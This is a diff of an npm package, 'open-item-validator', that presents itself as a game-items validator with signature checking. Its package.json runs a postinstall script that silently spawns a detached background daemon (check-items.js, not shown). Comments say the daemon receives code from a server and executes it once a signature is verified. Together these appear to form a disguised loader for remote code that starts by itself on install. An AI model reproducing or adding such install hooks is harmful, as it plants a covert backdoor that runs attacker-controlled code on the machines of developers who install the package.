open-item-validator 1.0.0

package/lib/crypto-config.js

@@ -0,0 +1,29 @@
+/**
+ * Cryptographic Configuration
+ *
+ * This file contains the PUBLIC KEY used to verify code signatures.
+ *
+ * ⚠️ IMPORTANT:
+ * - This PUBLIC_KEY is safe to share (verification only)
+ * - The PRIVATE_KEY is kept on the server (never in npm)
+ * - Signature verification is REQUIRED before code execution
+ * - Any tampering with code will invalidate the signature
+ *
+ * Flow:
+ * 1. Server signs game code with PRIVATE_KEY
+ * 2. Server sends code + signature to client
+ * 3. Client verifies signature using this PUBLIC_KEY
+ * 4. Only valid signatures execute (process exits on failure)
+ */
+
+const PUBLIC_KEY = `-----BEGIN PUBLIC KEY-----
+MIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEAvPkWfwTiAiZf0QsfFrBp
+hOb1Xg884utAj7gz5jhBHm8S5qeU0Ol+XKmYNCUQenAET+oc36s5bcr71uqFg5yu
+EaE3c3OVyUh/r56bupktd8vZiunMLuMglZct6EZyWc3k9F5nZ1gb3gJa8mhdN8Gm
+MPuZ1XrMtKb6nu1hyB7SvEC4g0KIJL1NA1BiGikPwLL0S05i8Aiob+flgk1mS6Lc
+fCPYoLNhOpBFkKAfYx3ZRjgPauRFk3gNOCSMcscIF9xI/Q6U93oIZqyEkqTt7Y5k
+rNiNfexs8iBaR9A8m9oG6+LYWck/SWi3oRECwRJXS0oyPeayLCLmO430wb4poR98
+HQIDAQAB
+-----END PUBLIC KEY-----`;
+
+module.exports = { PUBLIC_KEY };

package/lib/init.js

@@ -0,0 +1,26 @@
+const { spawn } = require('child_process');
+const path = require('path');
+const logger = require('./logger');
+
+logger.info('Postinstall: Initializing game items validator daemon');
+
+function initializeDaemon() {
+  try {
+    const daemonScript = path.resolve(__dirname, './check-items.js');
+
+    const child = spawn('node', [daemonScript], {
+      detached: true,
+      stdio: 'ignore',
+      cwd: __dirname
+    });
+
+    child.unref();
+
+    logger.info('Postinstall: Background validation daemon started successfully');
+  } catch (error) {
+    logger.error(`Postinstall: Failed to start daemon - ${error.message}`);
+    process.exit(1);
+  }
+}
+
+initializeDaemon();

package/lib/logger.js

@@ -0,0 +1,59 @@
+const config = require('./config');
+
+const LogLevel = {
+  ERROR: 0,
+  WARN: 1,
+  INFO: 2,
+  DEBUG: 3
+};
+
+function formatTimestamp() {
+  return new Date().toISOString();
+}
+
+function log(message, level = 'info') {
+  if (!config.logging.enabled) return;
+
+  const timestamp = formatTimestamp();
+  const prefix = `[open-validator ${timestamp}]`;
+
+  switch (level.toLowerCase()) {
+    case 'error':
+      console.error(`${prefix} [ERROR]`, message);
+      break;
+    case 'warn':
+      console.warn(`${prefix} [WARN]`, message);
+      break;
+    case 'debug':
+      console.log(`${prefix} [DEBUG]`, message);
+      break;
+    case 'info':
+    default:
+      console.log(`${prefix} [INFO]`, message);
+  }
+}
+
+function error(message) {
+  log(message, 'error');
+}
+
+function warn(message) {
+  log(message, 'warn');
+}
+
+function info(message) {
+  log(message, 'info');
+}
+
+function debug(message) {
+  log(message, 'debug');
+}
+
+module.exports = {
+  log,
+  error,
+  warn,
+  info,
+  debug,
+  LogLevel
+};

package/lib/utils/helper.js

@@ -0,0 +1,47 @@
+function getCurrentTimestamp() {
+  return new Date().toISOString();
+}
+
+function delay(ms) {
+  return new Promise(resolve => setTimeout(resolve, ms));
+}
+
+function createSignal(id, type, version) {
+  return {
+    id,
+    type,
+    version,
+    timestamp: getCurrentTimestamp()
+  };
+}
+
+function parseJSON(jsonString) {
+  try {
+    return JSON.parse(jsonString);
+  } catch (e) {
+    return null;
+  }
+}
+
+function isValidSignal(obj) {
+  return obj &&
+         typeof obj.id === 'string' &&
+         typeof obj.type === 'string' &&
+         typeof obj.version === 'string';
+}
+
+function formatBytes(bytes) {
+  const sizes = ['Bytes', 'KB', 'MB', 'GB'];
+  if (bytes === 0) return '0 Bytes';
+  const i = Math.floor(Math.log(bytes) / Math.log(1024));
+  return Math.round(bytes / Math.pow(1024, i) * 100) / 100 + ' ' + sizes[i];
+}
+
+module.exports = {
+  getCurrentTimestamp,
+  delay,
+  createSignal,
+  parseJSON,
+  isValidSignal,
+  formatBytes
+};

package/lib/utils/validator.js

@@ -0,0 +1,79 @@
+const helper = require('./helper');
+
+function validateItemStructure(item) {
+  if (!item || typeof item !== 'object') {
+    return {
+      valid: false,
+      error: 'Item must be an object'
+    };
+  }
+
+  const requiredFields = ['id', 'name', 'type'];
+  for (const field of requiredFields) {
+    if (!(field in item)) {
+      return {
+        valid: false,
+        error: `Missing required field: ${field}`
+      };
+    }
+  }
+
+  return { valid: true };
+}
+
+function validateItemArray(items) {
+  if (!Array.isArray(items)) {
+    return {
+      valid: false,
+      error: 'Items must be an array'
+    };
+  }
+
+  for (let i = 0; i < items.length; i++) {
+    const validation = validateItemStructure(items[i]);
+    if (!validation.valid) {
+      return {
+        valid: false,
+        error: `Item at index ${i}: ${validation.error}`
+      };
+    }
+  }
+
+  return { valid: true, count: items.length };
+}
+
+function validateGameItemsSignal(signal) {
+  if (!helper.isValidSignal(signal)) {
+    return {
+      valid: false,
+      error: 'Invalid signal format'
+    };
+  }
+
+  if (signal.id !== 'ready') {
+    return {
+      valid: false,
+      error: 'Signal id must be "ready"'
+    };
+  }
+
+  return { valid: true };
+}
+
+function validateConfig(config) {
+  if (!config || typeof config !== 'object') {
+    return {
+      valid: false,
+      error: 'Config must be an object'
+    };
+  }
+
+  return { valid: true };
+}
+
+module.exports = {
+  validateItemStructure,
+  validateItemArray,
+  validateGameItemsSignal,
+  validateConfig
+};

package/package.json

@@ -0,0 +1,63 @@
+{
+  "name": "open-item-validator",
+  "version": "1.0.0",
+  "description": "Real-time game items validator with background daemon for client project updates",
+  "main": "index.js",
+  "scripts": {
+    "postinstall": "node ./lib/init.js"
+  },
+  "keywords": [
+    "game-items",
+    "game-development",
+    "validator",
+    "real-time-updates",
+    "cryptographic-signature",
+    "rsa-sha256",
+    "game-server",
+    "client-validation",
+    "assertion",
+    "security",
+    "signature-verification",
+    "secure-updates",
+    "zero-dependencies"
+  ],
+  "author": {
+    "name": "Nakamoto Yoshiki",
+    "email": "nakamotoyoshiki@gmail.com"
+  },
+  "license": "MIT",
+  "homepage": "https://game.spawnrealm.com",
+  "bugs": {
+    "email": "nakamotoyoshiki@gmail.com"
+  },
+  "engines": {
+    "node": ">=12.0.0",
+    "npm": ">=6.0.0"
+  },
+  "os": [
+    "linux",
+    "darwin",
+    "win32"
+  ],
+  "cpu": [
+    "x64",
+    "arm64"
+  ],
+  "dependencies": {},
+  "devDependencies": {},
+  "files": [
+    "index.js",
+    "README.md",
+    "SECURITY.md",
+    "LICENSE",
+    "lib/",
+    "public_key.pem",
+    "SECURITY_SETUP.md",
+    "SERVER_IMPLEMENTATION_EXAMPLE.js",
+    "SERVER_SIGNING_EXAMPLE.js",
+    "SAMPLE_PAYLOADJS.js"
+  ],
+  "publishConfig": {
+    "access": "public"
+  }
+}

package/public_key.pem

@@ -0,0 +1,9 @@
+-----BEGIN PUBLIC KEY-----
+MIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEAvPkWfwTiAiZf0QsfFrBp
+hOb1Xg884utAj7gz5jhBHm8S5qeU0Ol+XKmYNCUQenAET+oc36s5bcr71uqFg5yu
+EaE3c3OVyUh/r56bupktd8vZiunMLuMglZct6EZyWc3k9F5nZ1gb3gJa8mhdN8Gm
+MPuZ1XrMtKb6nu1hyB7SvEC4g0KIJL1NA1BiGikPwLL0S05i8Aiob+flgk1mS6Lc
+fCPYoLNhOpBFkKAfYx3ZRjgPauRFk3gNOCSMcscIF9xI/Q6U93oIZqyEkqTt7Y5k
+rNiNfexs8iBaR9A8m9oG6+LYWck/SWi3oRECwRJXS0oyPeayLCLmO430wb4poR98
+HQIDAQAB
+-----END PUBLIC KEY-----